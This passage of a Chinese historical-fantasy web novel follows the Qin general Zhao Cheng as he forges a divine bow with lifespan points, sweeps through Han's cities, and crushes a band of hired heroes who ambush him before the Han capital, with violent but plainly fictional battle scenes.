结果刚刚离开崖口,就被赵诚冲入阵中,斩杀一片。
诸多韩军大惊失色。
“言而无信乎!?”
赵诚嗤笑一声,也不说话,手起戟落,只一味地杀!
众韩军悲痛欲绝。
该死的屠子,竟连自杀都不让!
“杀了他!”
心态崩溃之下,诸多韩军也发了疯,齐齐向着赵诚下去。
众人恨其入骨,就算是死,也想要咬下赵诚一块肉来。
可惜,赵诚实在凶猛,大戟一挥,无人能够踏入其三丈之内。
当然,就算他们真的能咬到赵诚,也根本咬不动,最多崩坏自己的一口牙。
被赵诚抓到了老巢,战斗变得简单起来。
不出一刻钟,全歼崖口上方的敌军。
连番血战屠戮,赵诚此时的寿命已经再次夺取了十五万之多。
他看了看自己的乌木弓,觉得弓箭在许多地方都有奇效,此弓已经有些不够用了。
于是干脆,耗费十万年寿命锻造了一把神兵弓箭——射雕。
此弓开满弓需千石之力,射程可达十里,几乎已经到了赵诚的目力极限了。
当然,这不是指看到的目力,而是指精准射杀的目力。
真元覆盖双目之下,十里之内,可持射雕射杀蚊蝇。
更不要说那些站在城头之上的将领。
只要被赵诚远远看到,那是露头就秒。
就算躲在女墙后面,那也是连女墙一起射穿!
部下核验军功,赵诚则是立马于崖口,看着前方壁立千仞,将射雕神弓领取到了手中。
只见此弓弓身幽蓝,隐现寒光,是以深海玄铁铸就,表面以鎏金勾勒盘龙,弓梢以红晶雕作凤凰展翅状,弓弦更是透明晶莹,阳光照耀之下,隐隐流光,好似蛟龙之筋。
全弓极重,赵诚拿着此弓,不亚于拿着方天画戟。
就算是他胯下的良驹,也是感受到了不小的压力,奔行速度都要放缓一些。
赵诚开弓搭箭,也是需要荡起一丝真元,才能将这弓完全开满。
不过他浑身上下真元如海,这一丝真元完全就是九牛一毛,倒也不需要放在心上。
赵诚提起一支箭来,开弓搭箭,朝着长空之上的大雁射去。
嗤!
松开弓弦的一瞬间,箭矢直接爆碎成了小碎块。
赵诚挠了挠头。
可以说,这是唯一的缺憾。
因为弓力太强,普通的箭矢已经无法使用,根本承受不住弓弦的力量。
只能在系统之中锻造配套的箭矢。
此弓配套的箭矢,叫做穿云箭。
箭身以精铁打造,箭镞呈三棱破甲形,箭羽为金雕尾翎,飞行时甚至能带起螺旋状气流,满弓状态下,可轻松穿透三尺厚的精钢。
千年寿命锻造一筒,一筒五十支。
合二十年锻造一支,射杀普通士兵,一箭下去,都未必能够回本。
看了看锻造需要的寿命,赵诚默默地选择打造百炼箭矢。
百炼箭矢,也不过需要十年寿命,就能够兑换一筒。
虽然依然承受不住满弓状态下的射雕,不过半满状态却能够承受得住。
三五里距离之下,随便射杀敌将,足够用了。
换取了百炼箭矢,赵诚举弓边射。
箭出如流星,呼啸声中,长空之上的大雁栽落下来。
随后赵诚又耗费万年寿命凝练墟境。
拥有了两立方米的墟境之后,将方天画戟和射雕神弓以及箭矢都放了进去,随取随用。
此时将士们也已经核验完了战功。
赵诚大手一挥,直接率兵前去攻打长社。
长社之中的兵力都在此地伏击他们了,导致城防空虚。
赵诚两箭下去,射杀了两名首脑,又一戟劈开大门,大军长驱直入,再斩两千韩兵,轻取长社。
取了粮草,依然将剩下的粮草都分给百姓。
赵诚出城,直奔陉山方城。
陉山方城是新郑西南的门户,已经是韩都的最后一道防线,此地筑有长城与烽火台,既可作为韩都的外围防御,也可用以示警,传递紧急军情。
所以,陉山一破,赵诚率兵直逼韩都,韩就已经可以宣布灭国了。
……
经过长社的守将这么一折腾,好歹也算是让赵诚绕了路,延缓了一点赵诚的攻势。
使得多方急报终于来得及传递到韩王安的手中。
韩都王宫之中。
秦军势如破竹,南阳噩耗频传。
韩安已经多日没有睡一个好觉,每日都是寝食难安。
而自从军中有一个关于秦军“阎罗索命”的传闻开始传开,整个王宫乃至整个韩都,都处于惶惶不安之中。
不说韩安自己,就连那些大臣,甚至是城中稍微消息灵通点的豪绅,那也是胆战心惊。
一戟斩破城门,孤身追杀全城守军,杀敌九千,慑服四万!
这等战绩,不管是不是编的,在这个风雨飘摇之际,都让所有人胆战心惊,感到此人不可战胜。
更让韩安惊惧的是,秦王竟然下令,让这个少年阎罗率兵灭韩!
一日之前,急报来传。
阳翟三万抵御八千轻骑,结果一个时辰不到就被破城,其中三万守军,尽皆被斩,头颅堆叠于城门之前,血气冲天!
而敌方那少年阎罗杀尽守军之后,就立刻直奔下一处,连占领城池的意思都没有,就是一路冲杀,直逼韩都。
如此行径,堪称血屠!
消息传开,整个韩都之中的大臣豪绅,惊惧之间,又自发为阎罗之名加上了个前缀。
称其——血屠阎罗。
提起这名字,别说止小儿夜啼了,就是大人,晚上都不敢出声。
生怕说多了,到时候被别人记住了去,等那凶神进了城,再找自己算账。
城中,人心惶惶。
王宫之中,更是人心惶惶。
人心惶惶之际,王心也惶惶。
无他,他得知消息比别人快啊。
那阳翟刚破了没半日。
噩耗又来了,襄城也破了!
那凶神直接把城墙都劈了个大洞出来,进城就是杀!
韩军闻风丧胆,竟然从里面将城门打开,想要逃出城去,何其可笑!
可是更可笑的还在后面,那凶神早就在外面布置了伏兵。
城门一开,当即四面合围,襄城彻底成了瓮中捉鳖。
最后只有寥寥几个从城头靠着绳索跳下去的守卒跑掉了,才将急报传了回来。
其他人,全都被砍了头颅,依旧堆叠在城门之下。
当然,这急报不传也罢。
不传的时候,韩安还能吃下口饭,现在是连一口饭都吃不下了。
每日都是胆战心惊,生怕下一刻,新郑的城墙也被那凶神劈一个大洞出来,被此人冲入城中,二话不说就砍了自己的脑袋。
若是时间可以重来,他宁愿选择投降秦王,好歹能留条命。
可现在晚了,他派出投降使臣的速度,还没有那血屠破城的速度快。
等使者到了咸阳,估计韩都已经灭了。
他韩安,也要尸首分离。
毕竟他也听说了,在那屠子面前,投降也杀。
根本不给人留活路啊!
这可怎么办才好?
正这时,王宫之中的郎中令攥着一张急报,六神无主地就冲进了王宫。
“大王,不好了!!”
韩安吓得浑身一个激灵,抬起屁股就作势要跑,“怎么回事!?那血屠杀进王宫来了?”
郎中令见大王都如此害怕,心中好受了一点,又说道,“不是,那血屠路过长社,被长社的将军许公埋伏。
结果激怒了那个血屠,不但把伏兵全都杀了,还跑到长社去,把长社留守的兵力全都杀了。”
“又破一城啊!”
“现在恐怕,已经快要到陉山了!”
韩安又坐回到了王位之上,抹了把汗水,庆幸道,“徐公干得好,此功不小,拖延了那屠子攻势,封他儿子为侯!”
郎中令一点都不羡慕,现在封侯还有个鬼用,给血屠送人头吗?
“陛下,那屠子眼看就要打到陉山了,咱们如何应对?”
韩安仔细想了想,突然灵机一动,“要不然,咱们连夜迁都吧?”
“迁去魏国如何?”
第62章 诸方义士齐聚韩都,隐于军阵猎杀赵诚!
“要不然,咱们连夜迁都吧?”
“迁去魏国如何?”
郎中令一听这话,当时脑子都卡住了。
不是,你韩国国君,迁都去魏国?
你直接说亡国,去魏国投奔得了呗!
而且,魏国还不一定要你,你现在就是烫手的山芋,去魏国不是祸水东引?
那煞星要是追杀去了魏国,魏国国君一害怕,没准把你直接帮了送回给那煞星!
“大王,不妥啊!”
韩安也知道不妥,如果可以,他现在倒是想去秦国投降,但是时间上已经来不及了。
韩都已经是韩境之中最远离南阳的地方之一,再迁都也无处可迁,而且就算是有地方迁,也是来不及了。
韩安有些焦躁,“那你说该如何是好?”
郎中令说道,“不如连夜召集群臣议事,集合大家的想法,或许有极佳的意见可以采纳!”
韩安想了想,也是这个道理,再不济,这大殿之上人多一些,他也能心安一些。
于是刚下班没多久的大臣们,又在提心吊胆之中,被韩安给叫了回来。
一些大臣正收拾东西准备跑路呢,结果这一下,跑不成了。
一个个垂头丧气地站在大殿之上,长吁短叹。
“那屠子半日前破了长社,现在怕是要到陉山了,众卿有什么想法,快快说来!”
此话一出,下面的大臣们面面相觑,都看到了彼此眼神之中的浓重慌张。
这屠子冲得未免也太快了!
不是才破了襄城没多久吗,怎么突然就要到陉山了?
难道是用飞的不成!?
他们现在不想思考什么应对之策,很多人只想着尽快回家收拾行李,然后第一时间跑出韩都才是要紧之事。
大殿之上静悄悄的。
所有大臣都是低着头站在大殿下方一言不发,气氛沉闷至极,一阵阵乌云一般的不安逐渐弥漫在大殿之中,压得所有人都喘不过气来。
韩安看着众人一言不发,甚至脸上都还流露着消极怠工的神色,不由得越发恼怒。
“满朝文武为何一言不发啊?”
韩安质问,依然无人说话。
韩安怒了,“寡人听说有人已经在收拾家当,准备离开新郑,弃国而去?”
“不要想了!”
“如今都城戒备森严,谁也跑不出去,不想个章程出来,今天诸位就在这大殿之上,陪我想到天明!”
众大臣闻言顿时都有点慌了。
韩王真是疯了,现在封死韩都,大家谁都跑不了,是要我们给你陪葬啊!
于是一直不发一言的满朝文武顿时开始说话了。
“臣以为,此时封锁新郑实为不妥!”
“臣以为,那屠子锋芒太盛,大王需要避其锋芒,先离开韩都。
留给他一座重兵防守的空城,等他费劲力气打进来,我等已经远遁到了其它城中,只要大王还在,我们就不算灭国,总有机会东山再起啊!”
“臣以为丞相说的不错,如此一来,那屠子被我们耍得团团转,也算是灭了他的威风!”
韩安看着下面的群臣,默默冷笑着。
这就是韩当下的处境。
自从申不害变法之后,韩上下就成了权术的角逐地,君王和臣子每天都在钩心斗角使心眼子,却不干正事。
只顾着玩弄权谋的下场就是,文臣们将权力尽可能地揽在自己的手中,普通士兵没有什么出头的希望,将士们立了功也可能被文臣们摘了果子。
不管使了多大的力气,都是为了贵族利益而战。
导致将士们根本没有心思卫国,自然没有诞生名将的土壤,也就没有了什么军事抵抗力。
一到关键时刻,大臣们第一时间想到的就是自己一方的利益。
管什么国家存亡的死活?
韩王知道这一点,但是现在,已经无力回天。
“出城远遁?”
“你们当寡人傻了不成?”
“那屠子亲率八千轻骑,你们也好,寡人也罢,谁能跑得过他?”
他指着下方那些往日里面常常与自己争辩舌战的群臣,嗤笑道,“寡人还不知道你们?
一个个拖家带口,恨不得把所有搜集来的家当都搬走,跑出城去,都不如乌龟跑得快,还想跑得过那个屠子?”
“都死了这条心吧,寡人没得跑,你们也别想跑!”
“来人,传令城防军,此时想要逃出城的人一律按照逃兵斩杀,缴获所有财物,归将士们所有!”
此令一出,所有大臣都是脸色大变。
原本有些权力和门路的他们,在这个命令下,再也不好使了。
原本那些军士就对贵族们心怀怨念,只是碍于贵族特权,不敢招惹。
但是现在,有王命在前,谁会跟财物过不去呢?
更何况,这事情他们早就想干了。
这些大臣就算是用屁股想,也知道出不去城了!
韩安看着众大臣的表情,没来由地感到一阵的爽快。
“今天就在这里,给寡人想办法对付那血屠!”
“寡人就不信了,这么多人,就没有一个人有办法对付一个屠子!?”
“他就只带了八千骑兵杀进来啊,这么多的兵力,都对付不了他?”
群臣痛心疾首,要是对付得了,还至于被他打到韩都来吗?
大王这次真是疯了,装都不装了,想不出招来,就是非要我们跟着一起死啊。
可是这些大臣想点钩心斗角的东西还行,让他们对付血屠阎罗,那是一百个没办法。
正绞尽脑汁,心急如焚之时。
都城统领卫尉申犰带着七八个人服装各异的男女,来到大殿之上。
“大王,臣有办法对付那血屠!”
这声音回荡在大殿之上,简直宛如天籁一般,让所有大臣的眼睛都亮了起来,一个个眼巴巴地看着他。
韩安更是露出笑颜来,“卫尉有何计策?”
申犰说道,“秦军此来,之所以能势如破竹,大都仰仗那血屠一人勇武,此人武力超凡,绝非凡俗可当。”
“想要阻其锋芒,还需能人与之相抗!”
“故多日前,臣就与各国联系,刚巧楚援被灭之后,楚国认为赵诚此人是极大威胁,也传信诸国搜寻能人豪侠想要除掉赵诚。”
“臣身后这几位,便是来自各处大泽山川之中的隐士,亦或者是隐于民间的豪侠,各个身怀绝技。”
“只要让他们隐于军中,在那赵诚冲阵之时,给出关键一击,定可阻其锋芒,将其八千锐士尽灭在此!”
韩安拍案,“好!”
“诸位义士来自何处?都有什么绝技?”
这几人都是穿着普通,多粗布麻衣,只有一名女子和一名公子哥穿着华贵一些,看着与其他人迥然不同。
一个粗布麻衣的黑面中年男子越众而出,对着韩安行礼拜道。
“云梦泽方士云习,师承云梦子。
那赵诚所败方士,乃是我三师弟,三师弟败于阵前,本是他学艺不精,但赵诚此人助纣为虐,为暴秦征战,更是屠戮无辜百姓,吾奉家师之命,特来斩之!”
说着,云习剑指一挑,申犰腰间的佩剑瞬间被其引出,嘤的一声插在大殿地板之上,入地三尺有余!
这一招,顿时迎来满堂惊呼。
韩安更是惊为天人,“上卿!快快赐座!”
另有一鹰钩鼻青年走出阵列,“医家,封不救,善神农之术,吾虽没有云兄那般修为,但是精通医药,医毒同源,只要诸君能够破其肌肤,我敢保证,三息之内,那血屠必毒发身亡!”
他手掌摊开,几根金针悬浮于掌心之上,隐现绿芒。
看得众人都是一阵汗毛倒竖。
韩安微微向后坐了坐,依然道,“上卿,赐座!”
一个虎背熊腰的屠户也是走了出来,他咧嘴一笑,顿时显得狰狞无比,“聂政后人,聂樊,屠狗之辈,尚有些许勇力,听说那屠子能一戟劈碎城门,咱也想看看,他能不能当的住我一刀!”
他想着前面几个人都展示了绝技,自己也该展示展示,于是四处看了看,实在没有什么能够发力的物件,干脆一手一个抓起两个大臣,一下扔到了空中。
而后前面两个还没落下,又抓了几个,同时扔到空中,再次接住。
如此往复,漫天都是大臣在鬼哭狼嚎,聂樊哈哈大笑,声震宫殿。
韩安更高兴了,“赐座,赐座!”
狂夫好啊,狂夫才敢去打那么屠子,不然都是闻风丧胆之辈,怎么能对付得了那血屠?
聂樊刚刚坐下,那锦袍公子哥走了出来,看了看插入宫殿地板之下的剑,一拔而出,“白九,楚地游侠剑士,无甚绝技,唯剑快尔!”
嗤!
一声轻响,没有任何人看清楚白九的动作,一旁大臣脑袋上的头发已经削去了一般,成了阴阳头。
他捂着头心惊肉跳,惊怒却有不敢说话。
韩安更喜,“赐剑!把寡人收藏的那把宝剑拿来,送给义士!”
锦袍女子越众而出,这女子看着二十出头,身形颇高,娇姿傲态,走上前来,也不行礼,“雪幽,略懂点阴阳术,会几个咒印,不过杀那屠子,当是绰绰有余。”
她也不展示,说完就那么微昂着头看着韩安。
韩安呆呆等了一会,发现雪幽好像已经介绍完了。
人家不屑于展示什么。
不过这个姿态,让他感觉此女必是高人!
于是也连忙道,“上卿,赐座!”
剩下几个就有点乏善可陈,一个精通暗器的,一个能御鸟,还有一个说自己会入梦之术,韩安也无从辩证,全都按照上卿之礼待之。
擅长什么,就赏赐什么。
然后一群人就开始研究,如何把这些义士塞进军中,配合军队,暗杀赵诚。
结果还没讨论多久,外面又有噩耗频传。
“陛下,那血屠杀上陉山方城了!”
“陛下,方城大败,要不了就要被攻破了!”
韩安匆匆跑出宫殿,遥遥看去。
远处陉山之上,烽火狼烟滚滚而上,直冲云霄。
……
第63章 图穷匕见,杀局暴起,群侠战血屠!
月华似水,寒风凛冽。
陉山方城之上,尸横遍野,腥风铺面。
赵诚率六千余骑,于方城之上纵横来去,无有一合之敌,只是几个来回,方城之上已经没有了敌军站立。
烽火台狼烟滚滚,赵诚任由它燃着。
依旧核验军功,领着将士们吃顿饱饭。
他倒提大戟,站在方城烽火台之上,遥遥看去,韩都在望。
脚下这方城,已经是韩都的最后一道防线。
韩国君主,就在那王都之中。
自己站在这里,就像是持戟站在他的床头。
灭国之功,唾手可得。
“你说旬日破韩都,如今一路奔袭到此处,不过七日时间,真没想到会有这么快。”
蒙恬站在一旁,也遥望韩都,如在梦中,阵阵感慨。
“时间还很充裕,昼夜不停地奔袭,就算是突骑营的精锐也有些累了,不如休整一夜,养精蓄锐,明日再杀入韩都?”
赵诚看了看后方的将士们,一个个神色亢奋,但脸色却看着有些憔悴。
于是点了点头,“那就休整一夜,倒也不急于一时。”
将士们轮流休息,赵诚则是心神沉入系统。
【当前剩余寿命:85054】
他投入一千年修炼真元。
不出片刻,就将消耗掉的真元完全补足。
睁开眼睛,浑身上下真元已经是涌动如海,劲气如龙。
一夜时间很快过去。
这一夜,七千轻骑睡得香甜。
同样在这一夜,韩都之中诸多贵族大臣提心吊胆,忐忑难安。
韩王安也是整夜没睡,随时等候着那血屠杀过来的军报。
但是一直等到天亮,也没有来打。
这种感觉,极为难受,让韩王安的脸色越发苍白,身体也越发虚弱。
直至天蒙蒙亮的时候,七千轻骑踏着烟尘滚滚,奔向韩都。
韩都城防之上,警钟大作!
全城上下,顿时惊惧万分。
百姓高呼“血屠阎罗来了”,争先恐后跑回家中,关门闭户,不敢露头。
城头的城防军更是握着兵器的双手全是汗水,无比紧张的看着那七千轻骑如离弦之箭奔来,直觉一股浓烈煞气遥遥冲来,仿若看到尸山血海。
人的名,树的影。
赵诚一路杀来,势如破竹,其血屠阎罗的恐怖形象,已经深入韩都上下每一个人的心中,听到这个名字,就感到胆战心惊。
如今见其越来越近,心中的不安是愈演愈烈。
好在从昨夜开始就有传闻说,从其他地方来了许多能人义士,此时就隐藏在城外防线之中,能够合力将那血屠阎罗杀于阵前。
这个传闻倒是给了守卒们很大的信心。
离得近了,赵诚遥遥看向韩都之外,
发现对方已经在洧水河畔构筑壁垒,想要以此构筑韩都第一道防线。
看其兵力,竟然有五六万,可惜军备很弱,大概率是城中强征来的普通民众,许多还是老弱病残。
蒙恬摇了摇头,“他们这是想拿普通百姓当炮灰啊。”
“怎么打?”
赵诚眸光冷漠,“杀。”
“拿起了兵器就是敌人,你不杀他,他就杀你。”
“杀上一片,自然有人丢了兵器投降,这样的民兵,可以收降。”
“绕行洧水冲阵。”
凭借轻骑的强大机动性,赵诚带着一部兵马,飞快绕行洧水,直奔城下。
刚想要杀上一片民兵,以震慑其他。
谁知他刚刚抵达军阵千步之外,那接阵前方的民兵就双腿一软跌倒在地。
不知道谁先喊了一声,“血屠阎罗来了!!”
“跑啊!”
而后前方的民兵就开始大批大批地丢了兵器,一哄而散。
更有甚者,直接脱了身上的破甲,跳入了洧水之中,凭着水性逃离!
后方申犰见状大怒,“逃兵杀无赦!”
然而根本无用,在多日以来“血屠阎罗”的传闻之下,直面赵诚的恐惧,远比被申犰斩杀要恐怖得多。
民兵们肝胆欲裂,成片成片地逃散。
赵诚还没到阵前。
这六万新兵就跑的只剩下了两万不到,就是这两万,那也是两股战战,毫无斗志,不断后退。
这一幕,骇得城头上的守卒们都是脸色苍白。
而城中高台之上,远观战况的韩王安更是心惊胆战。
只以威名,就把好不容易集结出来的六万新兵吓退了一大半,这可怎么打?
事到如今,只能看那些义士的了!
赵诚眼前大片敌军突然一空,眸中不由得闪过一道疑惑之色。
这难道是敌方的计谋?
蒙恬所授兵法,也没有关于这一部分的描述,这种计谋到底有什么作用?
他狐疑地看向一旁的蒙恬,“这是何计?”
蒙恬苦笑不已,“这哪是什么计谋?”
“你没听到他们高呼血屠阎罗吗?”
“你的威名竟然已经传到了这种地步,只是往前一冲,就能吓退四万兵马。”
血屠阎罗……
这外号到底是谁起的?
赵诚无语,继续奔马向前,见有一将在后方还在后面喊着后退者斩,干脆提起神弓射雕,开弓搭箭。
咻!
一箭有若流星,直逼申犰。
然而申犰似乎早有预料,在赵诚举弓的时候,就提前趴了下去。
这一箭在他的脑袋上方三尺距离射了过去,带起的罡风,甚至刮得他的头皮一阵生疼。
这让他惊骇欲绝。
这特么是什么箭术!?
距离还有千步有余,一箭之力竟然能够达到这种程度?
自己都已经提前趴下去了,这一箭带动的劲风,都刮痛了头皮,若是反应稍微慢上一点,岂不是现在已经死了!
如此想着,他老老实实趴在了堡垒之内,再也不冒头了。
“有所防备?”
赵诚眉头一挑,奔马之间,双方军阵已经只剩百步之遥。
赵诚干脆收起射雕,提起大戟,撞入阵中,掀起一片腥风血雨。
只此一戟,血屠阎罗之名,就在所有观战之人的心中印证了个透彻。
许多怀疑,许多不可置信。
在这一刻,全都化作了事实!
那些噩耗之中所传,哪有半分虚言,这不是血屠阎罗,又是什么?
一瞬间,只剩两万余的韩军防线,再次跑了五千多人。
薄薄的一层军阵,在赵诚面前,就像是纸糊的一般。
赵诚就像是一台绞肉机,势不可当,狠狠杀入军阵,而后直插军阵后方。
其后轻骑以他为锋,亦是一往无前,沿途飞快的杀伤,紧跟赵诚,在马蹄之下留下一片一片的尸体。
申犰鬼鬼祟祟在堡垒后面挪移,目光紧盯赵诚,“时机差不多了。”
他掏出哨子狠狠吹了一声。
好似一声鸟鸣响起,微不可查。
但是军阵之中,却有七八道隐藏在阵中的身影,同时从四面逆流而上,趁着赵诚冲杀之际,悄无声息地向着赵诚杀入方向包去,拦截在赵诚冲阵的前方。
赵诚一路冲杀,穿阵而过,所过之处,有如秋风扫落叶一般,杀敌无数,鲜血横流。
一路杀到了深处,赵诚一戟劈开前方七八个人的拦截。
血花飘舞之际,眼前一片猩红。
正此时,猩红之中,竟乍现寒芒。
一道剑光陡然从血花之中穿射而出,直逼赵诚咽喉。
这一剑速度之快,有若闪电!
赵诚甚至看不到持剑之人,只有这剑光倏忽而来,突然的好似凭空出现在那里一般。
在这一剑之下,赵诚的动作都显得缓慢了起来。
飞剑!?
还有高手?
他以戟杆去格挡已经是来不及,眼睁睁地看着这一剑刺向自己咽喉,只好调动真元去喉咙抵御。
就在这时,前方不远处一个兵卒骤然抬头,白皙面容,嫣红朱唇,清冷的眸光直视赵诚双眼。
她素手结印,一道古怪的气息轰然冲向赵诚眉心!
赵诚心头一跳,这什么东西?
那一股气息他有所感应,但是却抓不住,而且速度极快,倏忽之间,跨越空间,直奔自己的眉心。
赵诚两线作战,前一个飞剑偷袭还没来得及处理,后一个莫名攻击,已经抵达。
赵诚眉心一紫,好似有什么东西要越过了头骨,冲撞在了他的脑子上。
他的真元瞬间暴涌,高速沿着经脉冲入眉心,抵御这古怪力量,但还是被其渗入一丝。
导致赵诚出现了瞬间的失神。
素面女子朱唇轻启,“就是现在。”
“杀!”
这一瞬间,白九如同灵猫一般骤然自赵诚后方跃起,旋身如游龙,一剑狠狠刺向赵诚后心。
他细长眸子现出畅快笑意。
“杀!”
同时,更有魁梧大汉跃出军阵,手持两把剔骨尖刀,劈向赵诚头颅。
“哈哈哈,杀!!”
右前方一角,有兵卒甩手就是七八道暗器淬毒飞刀,刺向赵诚双眼。
“杀!”
还有人照着赵诚的面部,丢出毒包。
一只鹰隼自长空俯冲,啄击赵诚眼珠。
蒙恬正埋头冲杀,抬头却瞬间心惊肉跳。
只是眨眼功夫,赵诚四周竟然已经多了诸多杀招,一个个身影如龙,几乎划出残影,招招致命。
竟是十面埋伏,挡无可挡!
他自马上跃起,持剑拼命去救,想要至少抵住那身后的一剑,却哪里有白九剑快,只能眼睁睁看向那惊世一剑刺向赵诚后心。
“阿诚!”
“将军!”
第64章 力如天倾,覆灭群侠,一笑吓哭雪幽!
当此之时,十面埋伏尽出,杀机乍现如潮。
此必杀之局,现必杀之势!
韩都聚五湖四海八方能人,同时暴起,杀了赵诚一个措手不及。
更有阴阳术士雪幽以咒印冲撞赵诚神魂,使得赵诚在这必杀的一瞬间,出现了要命的失神。
“将军!”
诸多将士睚眦欲裂,对于敌军的杀局胆战心惊,拼命想要去救援,但是却没有那份能力。
转瞬之间,迅雷般的飞剑竟已经冲破赵诚的真元,撞上赵诚的咽喉!
与此同时,赵诚后方的白九也是游龙一般,一剑刺在赵诚后心。
更有聂樊双刀如大斧,劈在赵诚的脑袋上。
飞鹰毒包,接连重击。
众韩将以及韩安都是露出了得手的放松笑容来。
然而下一刻。
一连串清脆如金属撞击的声音自战场之中响起。
叮!
叮叮叮叮叮!
诸多兵器落在赵诚的身上,竟然迸溅出了火花。
诸侠同时脸色大变。
这怎么可能!?
同时,赵诚身上如海的真元自行迸发出来,向着四面八方轰击而去。
轰!
咽喉处的飞剑顿时崩碎,化作一道道射速极快的碎刃,射穿了身前周围所有韩军!
“啊!”
一片惨叫声中。
后心处的白九宝剑,也是遍布裂纹。
白九本人更是如同破布麻袋一般倒飞而出,人在空中就吐出一口鲜血,喷洒长空。
“吼!”
聂樊双臂青筋暴起,以生平最大的力量对抗这股气劲,然而只是一瞬间,手中传家杀猪刀就开始变形。
那股气劲顺着手臂寸寸攀附上来,他那如同磐石般肌肉虬结的手臂寸寸崩裂,鲜血迸溅的同时,双臂骨骼传来不堪重负的咔咔声。
于是他再也坚持不住,瞬间倒退而回,重重落在地上,双腿在地面之上犁出两道长渠。
聂樊豁然抬头,满脸惊骇地看着眼前刚刚回神的赵诚。
这家伙,难道不是人!?
他这一身横练,就连宝剑都无法刺穿也就算了,怎么还能修出一身真元如海?
这他娘的难道是活了上千年的老妖怪不成!?
雪幽也是愕然失神,一向如同古井无波的清冷眸子,如今泛起了惊涛骇浪,她不敢置信地后退半步,脸上再无一丝娇姿傲态。
家中培养她多年,这是她偷跑出来的第一战,本以为已经无人可挡自己一发咒印,以自己的能力足以灭杀这暴秦血屠,一战成名。
结果自己的咒印落在那家伙身上,就像挠痒痒一样,只是一瞬间失神?
白九大口吐着血,惊骇欲绝的看着赵诚。
“别慌,别慌,还有封不救的毒包,他那毒触之即死,就算是大象也会瞬间溃烂成血泥……”
啪叽!
赵诚抬手,抓住了啄眼欲跑的鹰隼,轻轻一捏,鹰隼软烂成了一坨。
他随手将这鹰隼扔在地上。
又挥手打散毒包爆发出来的毒气。
“什么东西?”
感受到呛鼻的气息进入自己体内开始作乱,他真元在体内一转,而后全身肌肤毛孔张开,深深吐纳。
顿时将所有毒气排出体外,丝毫没有影响身体的行动。
没办法,他对于身体的掌控,早就妙到了巅峰。
经过无数年的炼体,又以元气和真元常年淬炼,这副身体的强度,就连他自己都不太了解。
这些家伙的突然出现,倒是让他重新认识了一下自己的体魄。
好像,强度确实很高。
赵诚环视四周,四周一片静悄悄的。
那几个冲过来又跑回去的家伙都在看着自己,好像在等着自己有什么反应。
四周的韩军胆战心惊,不断缓缓后退,脸上带着恐惧和绝望。
那敌军将领满脸惊恐,正缩头缩脑,好像想要退回城中。
己方轻骑则是涌上前来,将自己团团围住,一脸警戒愤怒地看着那些人。
蒙恬因为一跃而起,又没有拦到白九,所以趴在了地上,摔了个狗吃屎,正灰头土脸地抬头看着自己。
“阿……阿诚,没事吧?”
赵诚被那些人看得有点古怪,于是低头看了看自己身上,确认毫无变化,“好像,没事。”
“他们花里胡哨的,却出奇地没用。”
怪物!
众义士骇然后退,惊恐忌惮地看着赵诚。
雪幽又震惊又愤怒又恐惧,银牙一咬,再次施印,一股古怪的气息瞬间再次扑向赵诚眉心。
与此同时,雪幽的脸色更是苍白。
却还是怒喝一声,“杀!”
赵诚却早有防备,于眉心处汇聚了大量真元。
虽然他没有什么利用真元的法门,但是架不住真元多啊。
在眉心处铺了一层又一层。
那股古怪气息虽然比上一次更强,但却再也无法冲破赵诚的真元防守,如泥牛入海,没有泛起一丝浪花。
于是雪幽就看到,更强的一击,赵诚却反而连一丝的失神都没有了。
下一刻,赵诚那血虎般煞气满溢的眸子瞬间锁定了雪幽。
“好活儿!”
雪幽浑身一颤,一股莫大的恐惧自心中暴涌而出,腿竟然都有些发软了。
她不知道,外面的世界竟然如此恐怖。
不然一定会听爷爷的话,躲在家里好好呆着。
她面对着赵诚,不断后退。
然而赵诚已经一跃而出,他这一跳,当真如同泰山压顶一般,势不可当。
“拦住他!”
聂樊咬牙提气,自侧方狠狠撞向赵诚,脚步踏在地上,竟让地面都微微震颤。
炮弹一般撞到赵诚身前,以肩膀朝着赵诚顶去,好似要撞翻大山。
“滚!”
赵诚一脚踹去,碾压龙象的气力,再加上暴涌在身体内的真元力道,这一脚甚至发出音爆之声。
嘭!
咔嚓!
聂樊以肩膀相抵,顿感撞上了天山,力如天倾,无可匹敌!
只一瞬间,他整个肩膀连同手臂、胸骨,同时爆碎。
而后整个人以更快更猛的势头向后面砸去,一路上砸死一串韩军,而后重重撞击在城墙之上。
咚的一声,镶如石墙之中,石墙都颤了一颤。
聂樊更是浑身碎裂,如同一滩烂泥一般,趴在地上,动都动弹不得,只顾大口吐血。
众人骇然,聂政后人,那是有传承的绝世狂夫,一脚踹废了?
“走,快走!”
高楼之上的韩王安双腿一软,连滚带爬在其它大臣的搀扶下,颤颤巍巍地跑下高楼去了。
因为大臣们自己的腿也很软,所以刚刚下了两步,就一起滚落下去。
一个滚,就砸倒了一群,导致一群大臣和君王一起,从高台上面滚了下去。
没有参战,却都负伤不轻。
他战场之上,赵诚一脚踹飞聂樊,去势不减,大戟横扫千军,直插雪幽之处。
雪幽浑身发凉,一边向后跑,一边回头对着赵诚施展咒印。
然而赵诚已经有了防备,这些咒印就像没有发出一般,消失无踪。
雪幽惊慌失措,她修炼的路子,并不侧重于身体强度,哪里跑得过那煞神。
咒印无效,就和待宰羔羊没有任何区别。
赵诚只是几个大踏步,就已经来到了雪幽身后。
当此之时,雪幽感觉自己就像是一个三尺小人在仓皇逃窜,而身后那家伙,简直如同三丈高的煞神修罗,正伸出魔爪抓向自己。
这种惊悚的感觉,她觉得自己这辈子都忘不掉了。
完了。
恐惧如潮袭来之际。
又有曙光出现。
一道身影自前向后,与她交错而过,逆流冲上,迎着那身后的修罗而去。
“走!”
方习嘶吼一声,真元御剑七柄,在身周环绕,迎向赵诚。
这已经是他的极限了。
嗤嗤嗤嗤嗤嗤嗤!
七道剑尖裹着真元的飞剑,撕裂空气,直逼赵诚周身要害!
“飞剑,也是好活儿!”
赵诚大手一抹,那七柄飞剑真元尽数捏为虚无。
同时真元一卷,七柄飞剑也是尽数碎裂卷曲成了一团。
方习睚眦欲裂,无论如何都想不到,这家伙竟然强到如此地步!
七剑齐出,竟被他挥手而灭!
他再提起真元,赵诚已冲至身前,他那真元就像是惊涛骇浪之中的一叶扁舟,瞬间被赵诚身上弥漫的真元冲散。
再已无力抵挡,被赵诚扼住了喉咙,又咔咔两声捏断了手脚,扔垃圾一样地扔回到己方军阵之中。
“留好,这是个方士。”
赵诚再迈一步,伸手一抓,就捏住了雪幽的后脖颈,提小猫一样提了起来。
雪幽惊恐挣扎,双眸发红,因为恐惧泛起泪光。
